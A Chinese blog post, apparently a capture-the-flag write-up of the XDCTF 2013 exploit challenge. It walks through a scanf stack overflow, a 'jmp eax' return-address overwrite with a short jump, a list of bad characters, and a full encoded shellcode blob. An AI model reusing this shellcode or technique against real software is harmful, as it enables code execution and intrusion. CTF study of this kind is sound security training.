XDCTF2013线上赛exploit关(一)

IDA反汇编exploit1.exe,在sub_40FA70里可以看到申请了一个0x10000字节的空间


var_10000= byte ptr -10000h

然后将其作为参数传入了scanf()函数

.text:0040FA9F                 lea     eax, [ebp+var_10000]
.text:0040FAA5                 push    eax
.text:0040FAA6                 push    offset Format   ; "%s"
.text:0040FAAB                 call    _scanf

由于scanf()函数并不进行边界检查,造成栈溢出。

覆盖返回地址时,数据布局为
0x10000
ebp
RetAddr

观察此时寄存器内容,发现只有eax和esp指向栈。但是如果利用esp跳转的话,shellcode需要布置在返回地址下面,覆盖了下面的栈帧,导致程序崩溃,于是只能利用jmp eax进行跳转。

此时虽然eax并不指向buf,但是其所指向地址中的内容是从buf中复制而来,因此只要做一个短跳转就可以了。

利用OD的插件OllyFindAddr,找到一个jmp eax的地址为7c8f6571,用这个地址覆盖返回地址。在buf中合适的位置上填充shellcode,然后再buf头部放置短跳转地址。最终的buf布局为

                                    -----
短跳转            <-- 复制到eax指向位置,跳到shellcode        
junk                             ↑
shellcode        共计0x10000字节
junk                             ↓
                                    -----
ebp

RetAddr            <-- 填充为7c8f6571,jmp eax的地址


需要注意的是,scanf会将一些字符当做截断,因此shellcode中不能存在以下字符:

0x09 0x0a 0x0b 0x0c 0x0d 0x1a 0x20 0x00

可能不全,我只测了小于0x20的一部分。

另外就是这个缓冲区很大,0x10000字节。输入字符的时候可以将布置好的字符串存在一个txt中,在运行漏洞程序的时候使用

exploit1.exe < 1.txt

就可以将txt中的字符串当做输入传递给程序了。

shellcode

"\xba\x52\x5b\x54\xd8\xdb\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x41\x31\x56\x12\x03\x56\x12\x83\x94\x5f\xb6\x2d\xc1\x8b\xad"
"\x17\x85\x6f\x26\x96\xb7\xc2\xb1\xe8\xfe\x47\xb5\x7a\x30\x03"
"\xbf\x70\xbb\x65\x5c\x02\xfd\x81\xd7\x6a\x21\x19\xd1\xaa\x6e"
"\x05\x6b\x38\x29\x34\x42\x41\x28\x56\xef\xd2\x8e\xb3\x64\x6f"
"\xf2\x30\x2e\x58\x72\x46\x25\x13\xc8\x50\x32\x7e\xec\x61\xaf"
"\x9c\xd8\x28\xa4\x57\xab\xaa\x54\xa6\x54\x9d\x68\x35\x06\x5a"
"\xa8\xb2\x51\xa2\xe6\x36\x5c\xe3\x12\xbc\x65\x97\xc0\x15\xec"
"\x86\x82\x3c\x2a\x48\x7e\xa6\xb9\x46\xcb\xac\xe7\x4a\xca\x59"
"\x9c\x77\x47\x9c\x4a\xfe\x13\xbb\x96\x60\x5f\x71\xae\x4b\x8b"
"\xff\x4b\x02\xf1\x68\x1d\x5b\xf8\x84\x73\x8c\x9b\xaa\x8c\xb3"
"\x2d\x11\x76\xf7\x50\x42\x94\x74\x2a\x6e\x7c\x29\xdc\x01\x83"
"\x32\xe3\x97\x3e\xc5\x74\xc4\xac\xf5\xc5\x7c\x1f\xc4\xeb\x18"
"\x37\x5d\x87\x85\xb5\x15\x3b\x62\x33\xaf\x22\x3c\xbc\xfa\xae"
"\x48\x80\x55\x14\xe2\xa6\x1b\xd6\x74\xba\x87\x74\x93\xa3\x38"
"\x87\x9c\x4b\xa8\x11\x17\xd3\x5e\x87\xaf\x93\xf2\x76\x8b\xdb"
"\x57\x5d\x2c\x52\x84\xf5\x6a\x44\x6b\x26\xe3\xe1\x18\x55\xd2"
"\x81\x8d\xec\x77\x32\x03\xc6\xf0\xf8\x47\xd0\x89\xe1\xb9\x32"
"\xe3\xe0\xea\xe3\xa6\x1d\xdc\x35\x87\xb1\x22\x60\x0f";


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值